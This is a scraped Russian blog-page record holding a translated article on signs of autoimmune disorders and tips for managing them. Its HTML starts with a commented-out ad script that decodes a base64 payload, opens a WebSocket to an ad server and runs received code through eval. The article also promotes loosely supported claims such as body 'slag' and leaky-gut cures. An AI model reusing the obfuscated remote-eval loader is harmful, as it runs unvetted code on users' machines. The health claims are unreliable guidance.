\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>В Соединенных Штатах в настоящее время люди переживают эпидемию аутоиммунных заболеваний\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>\x3cstrong>Вот несколько статистических данных:\x3c/strong>\x3cbr />1. Аутоиммунные расстройства увеличились на 300 процентов за последние 50 лет.\x3c/p>\n\x3cp>2. Аутоиммунные разлады влияют на 50-75 миллионом американцев.\x3c/p>\n\x3cp>3. Это третья ведущая причина хронической болезни (после сердечной болезни и рака).\x3c/p>\n\x3cp>Пожалуйста, поймите, что мы просто хотим информировать всех наших читателей о рисках некоторых заболеваний; и, что более важно, предоставить ценную информацию о профилактике и (когда это возможно) лечении расстройств здоровья.\x3c/p>\n\x3cp>\x3cstrong>Что такое аутоиммунное заболевание?\x3c/strong>\x3cbr />Хотя есть много типов аутоиммунных расстройств и заболеваний, все они имеют одну общую черту: иммунная система, которая атакует себя.\x3c/p>\n\x3cp>Иммунная система представляет собой сложную структуру, которая эволюционировала, чтобы защитить наше здоровье от инородных веществ, например, токсинов, с которыми мы вступаем в контакт.\x3c/p>\n\x3cp>Когда какой-то инородный материал, каким бы он ни был, попадает в организм, наша иммунная система сразу анализирует его и определяет, “друг он или враг». Если враг, иммунная система будет производить антитела, чтобы нейтрализовать его.\x3c/p>\n\x3cp>Аутоиммунные разлады превращаются когда тело пытается воевать против аллергена, инфекции, еды, или токсина; и не сумеет найти разницу между интрузивным веществом и тем, что естественно произведено телом.\x3c/p>\n\x3cp>Иммунная система ничем не отличается от большинства других частей тела. Она может меняться, если подвергается длительному стрессу. Если это произойдет, наша иммунная система может начать атаковать здоровые клетки и ткани, что может вызвать определенные симптомы.\x3c/p>\n\x3cp>\x3cstrong>Общие признаки развивающегося аутоиммунного заболевания\x3c/strong>\x3cbr />Поскольку аутоиммунные расстройства имеют широкий диапазон как по количеству, так и по типам симптомов, мы собираемся классифицировать признаки в соответствии с областью тела. В этом случае мы собираемся перечислить симптомы, которые влияют на надпочечники, мозг, желудочно-кишечный тракт (ЖКТ), суставы и мышцы; синус, рот и легкие, кожу и щитовидную железу.\x3c/p>\n\x3cp>\x3cstrong>Признаки неправильной работы мозга:\x3c/strong>\x3cbr />– Беспокойство: постоянное чувство беспокойства или нервозности.\x3c/p>\n\x3cp>— Дефицит внимания: трудности с удержанием внимания, гиперактивность, импульсивность.\x3c/p>\n\x3cp>— Мозговой туман: отсутствие ясности ума и снижение когнитивных функций.\x3c/p>\n\x3cp>— Головные боли: постоянная боль в области головы.\x3c/p>\n\x3cp>\x3cstrong>Симптомы желудочно-кишечного тракта:\x3c/strong>\x3cbr />— Вздутие живота: отек живота из-за жидкости или газов.\x3c/p>\n\x3cp>– Запор.\x3c/p>\n\x3cp>– Спазмы желудка: болезненные ощущения в области живота.\x3c/p>\n\x3cp>\x3cstrong>Суставы и мышцы:\x3c/strong>\x3cbr />— Мышечная боль и слабость: общая боль в области мышц или суставов.\x3c/p>\n\x3cp>— Жесткость и боль в суставах и мышцах: может указывать на фибромиалгию или ревматоидный артрит.\x3c/p>\n\x3cp>\x3cstrong>Синус, рот, и легкие:\x3c/strong>\x3cbr />— Аллергия: реакция организма на вещество.\x3c/p>\n\x3cp>— Астма: состояние, характеризующееся спазмами в бронхах легких.\x3c/p>\n\x3cp>— Сухость во рту: снижение производства слюны во рту.\x3c/p>\n\x3cp>— Частые простудные заболевания: повышенная восприимчивость к простудным заболеваниям.\x3c/p>\n\x3cp>\x3cstrong>Кожа:\x3c/strong>\x3cbr />— Угри: состояние, характеризующееся красными прыщами на лице.\x3c/p>\n\x3cp>— Дерматит: кожа красная, опухшая и воспаленная, иногда с небольшими волдырями.\x3c/p>\n\x3cp>— Экзема: кожа становится грубой и воспаленной, с волдырями, которые вызывают зуд и кровотечение.\x3c/p>\n\x3cp>— Псориаз: кожное заболевание, отмеченное красными, зудящими чешуйчатыми пятнами.\x3c/p>\n\x3cp>— Розацеа: увеличение лицевых кровеносных сосудов, покраснение щек и носа.\x3c/p>\n\x3cp>\x3cstrong>Щитовидная железа (кроме тревоги и усталости, упомянутых ранее):\x3c/strong>\x3cbr />– Общее недомогание: общее чувство дискомфорта, болезни или беспокойства.\x3c/p>\n\x3cp>— Проблемы веса: быстрые периоды увеличения или уменьшения.\x3c/p>\n\x3cp>Советы по лечению аутоиммунных заболеваний и расстройств\x3cbr />Подсчитано, что факторы окружающей среды способствовали развитию аутоиммунного расстройства на 75%, в то время как 25% является генетическим фактором. Факторы окружающей среды находятся под нашим контролем.\x3c/p>\n\x3cp>\x3cstrong>Эми Майерс, доктор, говорит:\x3c/strong>\x3cbr />\x3cem>«Благодаря моему опыту в качестве врача функциональной медицины и работе с тысячами аутоиммунных пациентов, я определила пять факторов окружающей среды, которые играют ключевую роль в создании аутоиммунных заболеваний:\x3c/em>\x3c/p>\n\x3cp>— проблемы кишечника\x3c/p>\n\x3cp>– диета\x3c/p>\n\x3cp>– шлаки\x3c/p>\n\x3cp>– инфекции\x3c/p>\n\x3cp>– стресс”.\x3c/p>\n\x3cp>Доктор Майерс продолжает объяснять, что все вышеперечисленные факторы являются бременем для иммунной системы; и что, обращаясь к ним, можно вернуть иммунную систему в оптимальное состояние.\x3c/p>\n\x3cp>Например, пропускающий влагу кишечник – состояние, при котором пищеварительный тракт испытывает газы, чувствительность к продуктам и боли – можно лечить путем употребления пробиотиков.\x3c/p>\n\x3cp>Простые шаги по устранению токсинов включают прекращение употребления алкоголя или курения.\x3c/p>\n\x3cp>Наш рацион должен быть сбалансированным, с большим количеством свежих фруктов, овощей и цельного зерна. Обработанные пищевые продукты должны быть исключены, когда это возможно\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>Смягчение стресса с помощью медитации и физических упражнений может пройти долгий путь к укреплению иммунной системы и борьбе с инфекциями!\x3c/p>\n\x3cp>\x3ca href=\"https://www.powerofpositivity.com/20-signs-may-autoimmune-disorder-reverse/\" target=\"_blank\">Источник\x3c/a>\x3cbr />Перевод и адаптация — \x3ca href=\"https://fithacker.ru/\" target=\"_blank\">Фитхакер\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43044199297","tags":["признаки","аутоиммуннитет","расстройства","советы","Здоровье","симптомы"],"date":1538235067,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20443334355,"photo_original":"https://mtdata.ru/u16/photo073B/20443334355-0/original.jpg","width":540,"height":281}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/20-priznakov-autoimmunnogo-rasstroystva-i-kak-izbavitsya-ot-nego/","topic":"health","title":"20 признаков аутоиммунного расстройства (и как избавиться от него)","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-29T15:31:07.000Z","ver1":"29 сентября, 18:31","ver2":"29.09.2018 в 18:31","ver3":"29 сент., 18:31"},"images":[{"main":true,"url":"https://mtdata.ru/u16/photo073B/20443334355-0/original.jpg","width":540,"height":281}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"аутоиммуннитет","tagId":80196335296,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"channelId":null,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}